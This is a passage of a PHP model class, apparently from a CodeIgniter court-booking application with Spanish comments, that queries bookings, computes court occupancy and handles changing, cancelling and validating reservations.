'intervalo, `status`, id_paymentway, price, no_cost, no_cost_desc, booking.user_desc, user_phone, '.
'booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, '.
'booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, '.
'meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, '.
'zz_paymentway.description as paymentway_desc, booking.price_light as price_light, booking.price_court as price_court', FALSE)->from($table_name);
if($flexigrid) $this->CI->flexigrid->build_query();
//$this->CI->flexigrid->build_query();
$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
$this->db->join('meta', 'booking.id_user=meta.user_id', 'left outer');
$this->db->join('zz_booking_status', 'booking.status=zz_booking_status.id', 'left outer');
$this->db->join('zz_paymentway', 'booking.id_paymentway=zz_paymentway.id', 'left outer');
if (isset($filters) && trim($filters)!="") $this->db->where($filters);
if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway);
if (isset($limit) && trim($limit)!="") $this->db->limit($limit);
//Get contents
$return['records'] = $this->db->get();
//echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC";
log_message('debug', 'SQL: '.$this->db->last_query());
//Build count query
# Para devolver el numero de registros
$this->db->select('count(id_booking) as record_count')->from($table_name);
$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
if (isset($filters) && trim($filters)!="") $this->db->where($filters);
if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway);
if (isset($limit) && trim($limit)!="") $this->db->limit($limit);
$record_count = $this->db->get();
$row = $record_count->row();
//Get Record Count
$return['record_count'] = $row->record_count;
//Return all
return $return;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado agrupado por pistas, para ocupacion
# -------------------------------------------------------------------
public function get_court_ocupation($filters="")
{
//Select table name
$table_name = "courts";
//Build contents query
$this->db->select('id_court, courts.name as court, `date` as date, sum(price-(no_cost*price)) as cobrado, sum(price) as facturable, count(courts.id) as intervalos', FALSE)->from($table_name);
$this->db->join('booking', 'courts.id=booking.id_court', 'left outer');
$this->db->where('(booking.status > 5 OR booking.status is null)');
$this->db->where('courts.active > 0');
if (isset($filters) && trim($filters)!="") $this->db->where($filters);
$this->db->group_by(array("id_court", "date", "courts.name"));
$this->db->order_by('id_court, date', 'ASC');
//Get contents
$return['records'] = $this->db->get();
//echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC";
//log_message('debug', 'SQL: '.$this->db->last_query());
//Build count query
//Return all
return $return;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve la mayor fecha de reserva hecha
# -------------------------------------------------------------------
public function get_max_booking_date($filters="")
{
//Select table name
$table_name = "booking";
//Build contents query
$this->db->select('max(`date`) as date', FALSE)->from($table_name);
//Get contents
$query = $this->db->get();
foreach ($query->result() as $row)
{
$fecha = $row->date;
}
//echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC";
//log_message('debug', 'SQL: '.$this->db->last_query());
//Build count query
//Return all
return $fecha;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado agrupado por pistas, para ocupacion
# -------------------------------------------------------------------
public function get_complete_court_ocupation($fecha1=NULL, $fecha2=NULL, $hora1=NULL, $hora2=NULL)
{
$this->CI =& get_instance();
$this->load->model('Pistas_model', 'pistas', TRUE);
$pistas=$this->pistas->getAvailableCourtsArray('','');
//print_r($pistas);
if(!isset($fecha1) || !isset($fecha2)) return NULL;
$filters="(`date` >= '".$fecha1."' OR `date` IS NULL) AND (`date` <= '".$fecha2."' OR `date` IS NULL)";
if(isset($hora1) && $hora1!="") $filters .= "AND (intervalo >= '".$hora1."' OR intervalo IS NULL)";
else $filters .= "AND (intervalo >= '00:00:00' OR intervalo IS NULL)";
if(isset($hora2) && $hora2!="") $filters .= "AND (intervalo <= '".$hora2."' OR intervalo IS NULL)";
else $filters .= "AND (intervalo <= '23:59:59' OR intervalo IS NULL)";
$this->CI =& get_instance();
$ocupacion = $this->get_court_ocupation($filters);
//print("aaaaaaaaaa<pre>");print_r($ocupacion['records']->result_array());print('BBBBB<br>');
$resultado=array(); $pista="";
foreach($pistas as $code => $pista) {
if($code!='') $resultado[$code]=array('id' => $code, 'name' => $pista, 'total_horas' => 0, 'total_facturado' => 0, 'total_facturable' => 0, 'maximo_horas' => 0);
}
foreach ($ocupacion['records']->result() as $row) {
if($pista=="" || $pista != $row->id_court) {
$pista = $row->id_court;
$resultado[$row->id_court]=array('id' => $row->id_court, 'name' => $row->court, 'total_horas' => 0, 'total_facturado' => 0, 'total_facturable' => 0, 'maximo_horas' => 0);
}
$resultado[$row->id_court]['total_horas'] += number_format(($row->intervalos / 2), 2);
$resultado[$row->id_court]['total_facturado'] += ($row->cobrado);
$resultado[$row->id_court]['total_facturable'] += ($row->facturable);
# Cargo valores de las propiedades del modelo
$this->date=$row->date;
$this->court=$row->id_court;
$this->CI->pistas->id=$row->id_court;
}
//print("aa<pre>");print_r($resultado);//exit();
foreach($resultado as $pista) {
#Recorro todo el intervalo de dias del rango para calcular las horas totales que se podรญan haber alquilado
$fecha=$fecha1;
while($fecha<=$fecha2) {
# Calculo de horas disponibles por pista y dia
$this->getSpecialTimetableByCourt();
//print("a");print_r($this->reservas->availability);
if(!$this->availability) $this->getSpecialTimetable();
//print("b");print_r($this->reservas->availability);
if(!$this->availability) $this->availability=$this->CI->pistas->getTimetable($fecha);
$total_horas=0;
//print("c - ".$hora1.' - '.$hora2);print_r($this->availability);
#Sumo 1 (osea, la disponibilidad, si estรก disponible.. osea $valie[1], si la hora estรก dentro del rango
foreach($this->availability as $inte => $value) if($value[0] >= $hora1 && $value[0] < $hora2) {$total_horas+=$value[1]; }
//print("<pre>");print_r($this->availability);
//echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".$total_horas;
$resultado[$pista['id']]['maximo_horas'] +=($total_horas/2);
$fecha=date($this->config->item('date_db_format'), strtotime($fecha . " +1 day"));
//echo $fecha;
}
//print_r($row);
}
//print("<pre>");print_r($resultado);
return $resultado;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado agrupado por pistas, para ocupacion
# -------------------------------------------------------------------
public function change_reserve($id_transaction_old,
$hora_inicio = NULL,
$minuto_inicio = NULL,
$hora_fin = NULL,
$minuto_fin = NULL)
{
log_message('debug', 'Datos recibidos-> id_transaction: '.$id_transaction_old.'; intervalo: '.$intervalo.'; hora inicio: '.$hora_inicio.'; minuto inicio: '.$minuto_inicio.'; Fecha: '.$fecha.'; Id_court: '.$id_court);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
//CALCULO DIFERENCIA ENTRE FECHAS PARA CONOCER INTERVALOS
$result_message = '';
$result = false;
if(!isset($hora_inicio) || !isset($hora_fin)) return NULL;
$hora_total_ini = ($hora_inicio * 60) + $minuto_inicio;
$hora_total_fin = ($hora_fin * 60) + $minuto_fin;
$minutos_dif = $hora_total_fin - $hora_total_ini;
$id_court = null;
$fecha_reserva = null;
$id_user = null;
$status = null;
$id_paymentway = null;
$info=$this->reservas->getBookingInfoById($id_transaction_old);
$reserve_interval = $this->pistas->getCourtInterval($info['id_court']);
//$reserve_interval = $this->config->item('reserve_interval');
//COMPRUEBO QUE LAS HORAS SON CORRECTAS
if ($hora_total_fin > $hora_total_ini)
{
if (($minutos_dif % $reserve_interval) == 0)
{
//CALCULO LOS INTERVALOS (REGISTROS BOOKING)
$intervalos = ($minutos_dif / $reserve_interval);
//CALCULO INTERVALOS ORIGINALES
$sql_select_interv = "SELECT * FROM booking ".
"WHERE ID_TRANSACTION = ?";
$query = $this->db->query($sql_select_interv, array($id_transaction_old));
$intervalos_old = $query->num_rows();
//SI EL CAMBIO NO ES DEL MISMO TIEMPO SE CANCELA
if ($intervalos_old == $intervalos)
{
if ($intervalos_old > 0)
{
foreach ($query->result() as $row)
{
/* RELLENO EL ARRAY CON LOS DATOS DEL GRUPO */
$array_all[$row->id] = array(
'id' => $row->id,
'id_booking' => $row->id_booking,
'id_user' => $row->id_user,
'id_court' => $row->id_court,
'date' => $row->date,
'intervalo' => $row->intervalo,
'status' => $row->status,
'id_paymentway' => $row->id_paymentway,
'price' => $row->price,
'no_cost' => $row->no_cost,
'no_cost_desc' => $row->no_cost_desc,
'user_nif' => $row->user_nif,
'user_desc' => $row->user_desc,
'user_phone' => $row->user_phone,
'id_transaction' => $row->id_transaction,
'booking_code' => $row->booking_code);
$fecha_reserva = $row->date;
$id_court = $row->id_court;
$id_user = $row->id_user;
$status = $row->status;
$price_light = $row->price_light;
log_message('debug', 'Precio de la luz de segmento: '.$price_light);
$id_paymentway = $row->id_paymentway;
}
log_message('debug', 'Precio de la luz general: '.$price_light);
//CHEQUEO DISPONIBILIDAD DE LA NUEVA RESERVA
//RELLENO CAMPOS NECESARIOS
$this->court = $id_court;
$this->id_transaction = $id_transaction_old;
$this->date = $fecha_reserva;
//debug.log_message('debug','Fecha Reserva: '.$fecha_reserva);
$result_availability = true;
for ($i = 0 ; $i < $intervalos ; $i ++)
{
$suma_minutos = ($i * $reserve_interval) + $minuto_inicio;
//relleno los campos necesarios para chequear disponibilidad
$this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998));
//$this->intervalo = $intervalo_reserva;
if (!$this->checkExactAvailabilityChange())
{
log_message('debug', 'No hay disponibilidad para el intervalo '.$this->intervalo);
$result_message = 'No hay disponibilidad para el intervalo '.$this->intervalo;
$result_availability = false;
return $result_message;
}
}
//log_message('debug', 'ID_PAYMENT='.$id_paymentway);
//SI HAY DISPONIBILIDAD INSERTO VALORES
$sesion_insert = str_replace('{{slash}}', '\\',$this->session->userdata('session_id'));
$id_transaction_new = $sesion_insert.$this->court."-".date('U', strtotime($this->date." ".$this->intervalo));
//&calculate_prices = false;
for ($i = 0 ; $i < $intervalos ; $i ++)
{
$suma_minutos = ($i * $reserve_interval) + $minuto_inicio;
//relleno los campos necesarios para chequear disponibilidad
$this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998));
//debug.log_message('debug','Intervalo: '.$this->intervalo);
//INSERTO VALORES
if ($this->getPrice())
{
if($price_light != 0) $price_light = $this->price_light;
else $price_light = 0;
log_message('debug', 'Precio de la luz antes de grabar: '.$price_light);
$data = array(
'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)),
//PREGUNTAR SI EL ID ES NUEVO O NO
'id_transaction' => $id_transaction_new,
'booking_code' => $this->app_common->reserve_encode($this->session->userdata('idTransaction')),
'id_user' => $id_user,
'id_court' => $this->court,
'date' => $this->date,
'session' => $sesion_insert,
'intervalo' => $this->intervalo,
//codigo comentado, bbdd desactualizada
'price' => $this->price,
'price_light' => $price_light,
'price_court' => $this->price_court,
'id_paymentway' => $id_paymentway,
/*'price_supl1' => 0,
'price_supl2' => 0,
'price_supl3' => 0,
'price_supl4' => 0,
'price_supl5' => 0,*/
'status' => $status,
'create_user' => $this->session->userdata('user_id'),
'create_time' => date(DATETIME_DB));
# Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion
$this->db->insert('booking', $data);
log_message('debug', 'SQL: '.$this->db->last_query());
}
else
{
log_message('debug', 'No se han encontrado precios para el intervalo:'.$this->intervalo);
$result_message = "No se han encontrado precios para el intervalo: $this->intervalo";
return $result_message;
}
}
//UNA VEZ INSERTADOS LOS REGISTROS NUEVOS, BORRO LOS ANTERIORES
if ($this->cancel_reserve($id_transaction_old, 'Cancelacion por cambio de horas'))
{
log_message('debug', 'Ok..');
$result_message = "ok|".$id_transaction_new;
}
else
{
log_message('debug', 'Importante: La reserva anterior no se ha borrado');
$result_message = "Importante: La reserva anterior no se ha borrado";
return $result_message;
}
}
else
{
log_message('debug', 'La reserva no tenรญa pistas seleccionadas');
$result_message = 'La reserva no tenรญa pistas seleccionadas';
}
}
else
{
log_message('debug', 'No coincide el mismo tiempo de reserva');
$result_message = 'No coincide el mismo tiempo de reserva';
return $result_message;
}
}
else
{
log_message('debug', 'Las horas introducidas no corresponden con ningรบn horario');
$result_message = 'Las horas introducidas no corresponden con ningรบn horario';
return $result_message;
}
}
else
{
//HORA FIN MENOR HORA INICIO
log_message('debug', 'La hora de inicio debe ser mayor que la hora de fin');
$result_message = 'La hora de inicio debe ser mayor que la hora de fin';
return $result_message;
}
return $result_message;
}
##############################################################################
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado agrupado por pistas, para ocupacion
# -------------------------------------------------------------------
public function change_reserve_get($id_transaction_old,
$intervalo,
$hora_inicio = NULL,
$minuto_inicio = NULL,
$fecha = NULL,
$id_court = NULL)
{
log_message('debug', 'Datos recibidos-> id_transaction: '.$id_transaction_old.'; intervalo: '.$intervalo.'; hora inicio: '.$hora_inicio.'; minuto inicio: '.$minuto_inicio.'; Fecha: '.$fecha.'; Id_court: '.$id_court);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
//CALCULO DIFERENCIA ENTRE FECHAS PARA CONOCER INTERVALOS
$result_message = '';
$result = false;
$hora_total_ini = ($hora_inicio * 60) + $minuto_inicio;
$fecha_reserva = null;
$id_user = null;
$status = null;
$id_paymentway = null;
//$reserve_interval = $this->config->item('reserve_interval');
$info=$this->reservas->getBookingInfoById($id_transaction_old);
$reserve_interval = $this->pistas->getCourtInterval($info['id_court']);
if (($minuto_inicio % $reserve_interval) == 0)
{
//CALCULO DATOS ORIGINALES
$this->db->select('*, MIN(INTERVALO) AS intervalo_ini, MAX(INTERVALO) AS intervalo_fin, count(*) num_intervalos', FALSE)->from('booking');
$this->db->where('id_transaction',$id_transaction_old);
$this->db->group_by('id_transaction', 'asc');
$record = $this->db->get();
if ($record->num_rows() > 0)
{
//log_message('debug', 'SQL: '.$this->db->last_query());
$row = $record->row();
//Almaceno los datos que necesito
//SI EL CAMBIO NO ES DEL MISMO TIEMPO SE CANCELA
/* RELLENO EL ARRAY CON LOS DATOS DEL GRUPO */
$array_booking = Array(
'id' => $row->id,
'id_booking' => $row->id_booking,
'id_user' => $row->id_user,
'id_court' => $row->id_court,
'date' => $row->date,
'intervalo' => $row->intervalo_ini,
'status' => $row->status,
'id_paymentway' => $row->id_paymentway,
'price' => $row->price,
'no_cost' => $row->no_cost,
'no_cost_desc' => $row->no_cost_desc,
'user_nif' => $row->user_nif,
'user_desc' => $row->user_desc,
'user_phone' => $row->user_phone,
'id_transaction' => $row->id_transaction,
'booking_code' => $row->booking_code,
'intervalo_fin' => $row->intervalo_fin,
'num_intervalos' => $row->num_intervalos);
$fecha_reserva_old = $row->date;
$id_court_old = $row->id_court;
$id_user = $row->id_user;
$status = $row->status;
$id_paymentway = $row->id_paymentway;
$new_day = false;
//CHEQUEO DISPONIBILIDAD DE LA NUEVA RESERVA
//RELLENO CAMPOS NECESARIOS
//$array_booking = $array_booking_ini[0];
$suma_minutos_final = ($array_booking['num_intervalos'] * $reserve_interval) + $minuto_inicio;
$intervalo_final = date('H:i',mktime($hora_inicio,$suma_minutos_final,0,1,1,1998));
//Compruebo si la nueva reserva cambia de dรญa y de pista o no coinciden los horarios
if ($id_court_old != $id_court)
{
$new_day = true;
}
else if ($fecha != $fecha_reserva_old)
{
$new_day = true;
}
else if (($intervalo > $array_booking['intervalo_fin']) && ($intervalo_final < $array_booking['intervalo_ini']))
{
$new_day = true;
}
//chequeo normal
$this->court = $id_court;
$this->id_transaction = $id_transaction_old;
$this->date = $fecha;
$this->intervalo = $intervalo;
//primero chequeo que estรฉ disponible la nueva fecha
for ($i = 0 ; $i < $array_booking['num_intervalos']; $i ++)
{
$suma_minutos = ($i * $reserve_interval) + $minuto_inicio;
//relleno los campos necesarios para chequear disponibilidad
$this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998));
//$this->intervalo = $intervalo_reserva;
//chequeo si coincide el intervalo con la reserva anterior
if (!$new_day)
{
//
if ((date('H:i',strtotime($this->intervalo)) >= date('H:i',strtotime($array_booking['intervalo']))) &&
(date('H:i',strtotime($this->intervalo)) <= date('H:i',strtotime($array_booking['intervalo_fin']))))
{
//Coincide, no compruebo nada
//log_message('debug', 'Coincide..');
}
else
{
if (!$this->checkExactAvailability())
{
log_message('debug', 'No hay disponibilidad para el intervalo'.$this->intervalo);
$result_message = 'No hay disponibilidad para el intervalo '.$this->intervalo;
$result_availability = false;
return $result_message;
}
}
}
else
{
if (!$this->checkExactAvailability())
{
log_message('debug', 'No hay disponibilidad para el intervalo '.$this->intervalo);
$result_message = 'No hay disponibilidad para el intervalo '.$this->intervalo;
$result_availability = false;
return $result_message;
}
}
}
//inserto en BBDD, he pasado la comprobacion
//log_message('debug', 'ID_PAYMENT='.$id_paymentway);
$sesion_insert = str_replace('{{slash}}', '\\',$this->session->userdata('session_id'));
$id_transaction_new = $sesion_insert.$this->court."-".date('U', strtotime($this->date." ".$this->intervalo));
//&calculate_prices = false;
for ($i = 0 ; $i < $array_booking['num_intervalos']; $i ++)
{
$suma_minutos = ($i * $this->config->item('reserve_interval')) + $minuto_inicio;
//relleno los campos necesarios para chequear disponibilidad
$this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998));
//debug.log_message('debug','Intervalo: '.$this->intervalo);
//INSERTO VALORES
if ($this->getPrice())
{
$data = array(
'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)),
//PREGUNTAR SI EL ID ES NUEVO O NO
'id_transaction' => $id_transaction_new,
'booking_code' => $this->app_common->reserve_encode($this->session->userdata('idTransaction')),
'id_user' => $id_user,
'id_court' => $this->court,
'date' => $this->date,
'session' => $sesion_insert,
'intervalo' => $this->intervalo,
//codigo comentado, bbdd desactualizada
'price' => $this->price,
'price_light' => $this->price_light,
'price_court' => $this->price_court,
'id_paymentway' => $id_paymentway,
/*'price_supl1' => 0,
'price_supl2' => 0,
'price_supl3' => 0,
'price_supl4' => 0,
'price_supl5' => 0,*/
'status' => $status,
'create_user' => $this->session->userdata('user_id'),
'create_time' => date(DATETIME_DB));
# Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion
$this->db->insert('booking', $data);
log_message('debug', 'SQL: '.$this->db->last_query());
}
else
{
log_message('debug', 'No se han encontrado precios para el intervalo: '.$this->intervalo);
$result_message = "No se han encontrado precios para el intervalo: $this->intervalo";
return $result_message;
}
}
//UNA VEZ INSERTADOS LOS REGISTROS NUEVOS, BORRO LOS ANTERIORES
if ($this->cancel_reserve($id_transaction_old, 'Cancelacion por cambio de horas'))
{
$result_message = "ok|".$id_transaction_new;
}
else
{
log_message('debug', 'La reserva anterior no se ha borrado');
$result_message = "Importante: La reserva anterior no se ha borrado";
return $result_message;
}
}
else
{
log_message('debug', 'La reserva que se quiere modificar, no existe.');
$result_message = "Importante: La reserva que se quiere modificar no existe";
return $result_message;
}
}
else
{
$result_message = 'Las horas introducidas no corresponden con ningรบn horario';
log_message('debug', 'Las horas introducidas no corresponden con ningun horario');
return $result_message;
}
return $result_message;
}
##############################################################################
function checkExactAvailabilityChange() {
//Modifcar la anterior para que funcione con este cambio
# Devuelve si un intervalo estรก reservado o no
$sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? and id_transaction != ? LIMIT 1";
$query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court, $this->id_transaction));
if ($query->num_rows() > 0) return FALSE;
else return TRUE;
}
##############################################################################
function cleanBlockReserves() {
//Modifcar la anterior para que funcione con este cambio
# Devuelve si un intervalo estรก reservado o no
$this->db->where("TIMESTAMP(create_time,'00:04:00') < now() and status <= '5'");
$this->db->delete('booking');
log_message('debug',$this->db->last_query());
return TRUE;
}
##############################################################################
/* FUNCTION PARA VALIDAR UNA RESERVA*/
function complete_reserve($id_transaction)
{
log_message('debug', 'entro en la funcion complete_reserve con transaccion '.$id_transaction);
$data = array('status' => 9,
'modify_time' => date(DATETIME_DB),
'modify_user' => $this->session->userdata('user_id'),
'modify_ip' => $this->session->userdata('ip_address'));
$this->db->update('booking',$data, array('id_transaction' => $id_transaction));
log_message('debug',$this->db->last_query());
return ($this->db->affected_rows() >= 1) ? true : false;
}
##############################################################################
/* FUNCTION PARA VALIDAR UNA RESERVA*/
function validate_reserve($id_transaction)
{
$data = array('status' => 11,
'modify_time' => date(date(DATETIME_DB)),
'modify_user' => $this->session->userdata('user_id'),
'modify_ip' => $this->session->userdata('ip_address'));
$this->db->update('booking',$data, array('id_transaction' => $id_transaction));
return ($this->db->affected_rows() >= 1) ? true : false;
}
##############################################################################
/* FUNCTION PARA CANCELAR UNA RESERVA*/
function cancel_reserve($id_transaction, $text_cancel)
{
//chequeo la reserva por si estรก pagada para devolver el dinero
//primero chequeo que la opciรณn estรก activada
/*
if ($this->config->item('cancelled_reserve_refund'))
{
$sql_query = "select status, sum(price) as price_total, max(id_user) as id_user ".
"from booking where id_transaction = ? ".
"group by status";
$data_query = array($id_transaction);
$query = $this->db->query($sql_query,$data_query);
if ($query->num_rows() > 0)
{
$row = $query->row();
//si el estado es pagado(9) devolvemos el dinero
if ($row->status == 9)
{
$sql_update = "update meta set prepaid_cash = (prepaid_cash + ?) ".
"where user_id = ?";
$data_update = array($row->price_total,
$row->id_user);
$this->db->query($sql_update,$data_update);
}
}
}
*/
//copia de seguridad en booking_cancelled
$sql_insert = "insert into booking_cancelled ".
"(id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status,".
"cancelation_reason, id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone,".
"create_user, create_time, create_ip) ".
"(select id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status,".
"?, id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone,".
"?, ?, ? from booking where id_transaction = ?)";
$data = array($text_cancel,
$this->session->userdata('user_id'),
date(DATETIME_DB),
$this->session->userdata('ip_address'),
$id_transaction);
$this->db->query($sql_insert,$data);
log_message('debug', 'SQL: '.$this->db->last_query());
$this->db->delete('booking',array('id_transaction' => $id_transaction));
log_message('debug', 'SQL: '.$this->db->last_query());
return ($this->db->affected_rows() >= 1) ? true : false;
}
public function get_data($params = "" , $page = "all")
{
$this->load->model('Pistas_model', 'pistas', TRUE);
# Consulta para extraer la lista de reservas que deberรกn mostrarse
$table_name = 'booking';
//Build contents query
$this->db->select('distinct id_transaction', FALSE);
$this->db->from('(SELECT `date`, id_transaction, id_court, id_user, `status`, `id_paymentway` FROM ('.$table_name.') ORDER BY `date` desc LIMIT 200) a');
$this->db->join('courts', 'courts.id=a.id_court', 'left outer');
$this->db->join('meta', 'a.id_user=meta.user_id', 'left outer');
$this->db->join('zz_booking_status', 'a.status=zz_booking_status.id', 'left outer');
$this->db->join('zz_paymentway', 'a.id_paymentway=zz_paymentway.id', 'left outer');
if (!empty ($params['where'])) $this->db->where($params['where']);
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
if (empty ($params['orderbyway']) || $params['orderbyway']=='') $params['orderbyway'] = 'ASC';
//$this->db->order_by('id_transaction', $params['orderbyway']);
if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) );
$lista_de_reservas = array();
//Get contents
$query = $this->db->get();
//log_message('debug',$this->db->last_query());
if ($page != "all") {
$lista_de_reservas = array();
foreach ($query->result() as $row)
{
array_push($lista_de_reservas, $row->id_transaction);
}
}
# Consulta para extraer la informaciรณn de esas reservas
$table_name = 'booking';
//Build contents query
$this->db->select('booking.id as id, id_booking, id_transaction, id_user, session, id_court, DATE_FORMAT(DATE(booking.date), \'%d-%m-%Y\') as fecha, '.
'intervalo, `status`, id_paymentway, price, no_cost, no_cost_desc, booking.user_desc, user_phone, '.
'booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, '.
'booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, '.
'meta.last_name as last_name, meta2.first_name as create_first, meta2.last_name as create_last, meta.first_name + \' \' + meta.last_name as complete_name, meta.phone as phone, zz_booking_status.description as status_desc, '.
'zz_paymentway.description as paymentway_desc, booking.price_light as price_light, booking.price_court as price_court, zz_sports.id as sport, zz_sports.description as sport_desc, shared, DATE_FORMAT(DATE(booking.create_time), \'%d-%m-%Y\') as fecha_creacion, price_supl1, price_supl2, price_supl3, booking.booking_code', FALSE)->from($table_name);
$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
$this->db->join('zz_sports', 'zz_sports.id=courts.sport_type', 'left outer');
$this->db->join('meta', 'booking.id_user=meta.user_id', 'left outer');
$this->db->join('meta as meta2', 'booking.create_user=meta2.user_id', 'left outer');
$this->db->join('zz_booking_status', 'booking.status=zz_booking_status.id', 'left outer');
$this->db->join('zz_paymentway', 'booking.id_paymentway=zz_paymentway.id', 'left outer');
if ($page != "all" && count($lista_de_reservas) > 0) {
if (!empty ($params['where'])) $params['where'].= ' AND ';
$params['where'].= "booking.id_transaction IN ('".implode("', '", $lista_de_reservas)."')";
}
if (!empty ($params['where'])) $this->db->where($params['where']);
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
if (empty ($params['orderbyway']) || $params['orderbyway']=='') $params['orderbyway'] = 'ASC';
$this->db->order_by('id_transaction', $params['orderbyway']);
$this->db->order_by('intervalo', $params['orderbyway']);
//if ($page != "all") $this->db->limit ((6 * $params ["num_rows"]) + 6 * ($params ["num_rows"] * ($params ["page"] - 1)), 0 );
//Get contents
$query = $this->db->get();
//log_message('debug',$this->db->last_query());
//echo $this->db->last_query().'<br>';
//exit( $this->db->last_query());//.'<br>';
$record_items = array(); $buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0; $light_cost=0; $light_desc= '';
foreach ($query->result() as $row)
{
if($transaccion=="") $transaccion = $row->id_transaction;
//echo $row->id_transaction.' # ' .$transaccion.'<br>';
if($transaccion != $row->id_transaction && $transaccion!="") {
#Sรณlo si se ha cambiado de Id de transacciรณn
$record_items[] = $registro;
//print("<pre>"); print_r($registro);
$registro=array();
$min_time=""; $max_time=""; $precio=0; $light_cost=0; $light_desc= '';
$transaccion = $row->id_transaction;
}
// ojo, las imรกgenes tienen que ser png
//modificar mas adelante aรฑadiendo un campo en BBDD
$paint_status = '';
if ($row->status_desc == '') $paint_status='';
else $paint_status = img(array('src'=>'images/'.$row->status_desc.'.png', "align"=>"absmiddle", "border"=>"0", "title"=>$this->lang->line($row->status_desc)));
if($row->no_cost==0) $no_cost='';
else $no_cost='Si';
/*
if($row->id_user) $usuario = $row->first_name.' '.$row->last_name.'('.$row->phone.')';
else $usuario = $row->user_desc.'('.$row->user_phone.')';
*/
/*
if($row->id_user) {
$usuario = $row->first_name.' '.$row->last_name;
$phone = $row->phone;
}
else {
$usuario = $row->user_desc;
$phone = $row->user_phone;
}
*/
$usuario = $row->user_desc;
$phone = $row->user_phone;
if(trim($usuario)=="") $usuario="No registrado";
$create_user = $row->create_first.' '.$row->create_last;
$reserve_interval = $this->pistas->getCourtInterval($row->id_court);
$time=$row->intervalo;
$precio+=$row->price;
//$precio += $this->price_court + $row->price_light + $row->price_supl1 + $row->price_supl2;
if($min_time=="" || $min_time > $row->intervalo) $min_time = date('H:i', strtotime($time));
if($max_time=="" || $max_time < $row->intervalo) $max_time = date('H:i', strtotime($time)+($reserve_interval * 60));
# Definicion de los botones
/*$butt_array=array();
if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Marcar la reserva como iniciada\');"><img id="activar" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'></a>');
if($row->status != 9) {
array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar la reserva\');" ><img value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>');
}
if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Eliminar la reserva\');"><img border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'></a>');
//$buttons=implode(' ', $butt_array);*/
//NUEVOS BOTONES
//if ($row->status == 9) $button_validate= '<img id="validar" "title"="Validar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>';
//else $button_validate = "-";
if ($row->price_light > 0)
{
$light_desc= 'Si';
$light_cost += $row->price_light;
}
/*
else
{
$light_desc= '';
$light_cost = 0;
}
*/
$button_cancel= '<img id="cancelar" "title"="Cancelar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'>';
$button_change= '<a href="javascript:modificarReserva(\''.$row->id_transaction.'\',\''.$min_time.'\',\''.$max_time.'\');"><img id="modificar" "title"="Modificar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>';
//$button_change=
if ($row->status < 9) $button_payment= '<img id="payment" "title"="Cobrar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/coins.png\'>';
else $button_payment = '-';
$registro = array(
'id_transaction' => $row->id_transaction,
'id_booking' => $row->id_booking,
'fecha' => date($this->config->item('reserve_date_filter_format') ,strtotime($row->fecha)),
'inicio' => $min_time,
'final' => $max_time,
'status_desc' => $this->lang->line($row->status_desc),
'court_name' => $row->court_name,
'sport_name' => $row->sport_desc,
'paymentway_desc' => $this->lang->line($row->paymentway_desc)!="" ? $this->lang->line($row->paymentway_desc) : '-',
'user_id' => $row->id_user,
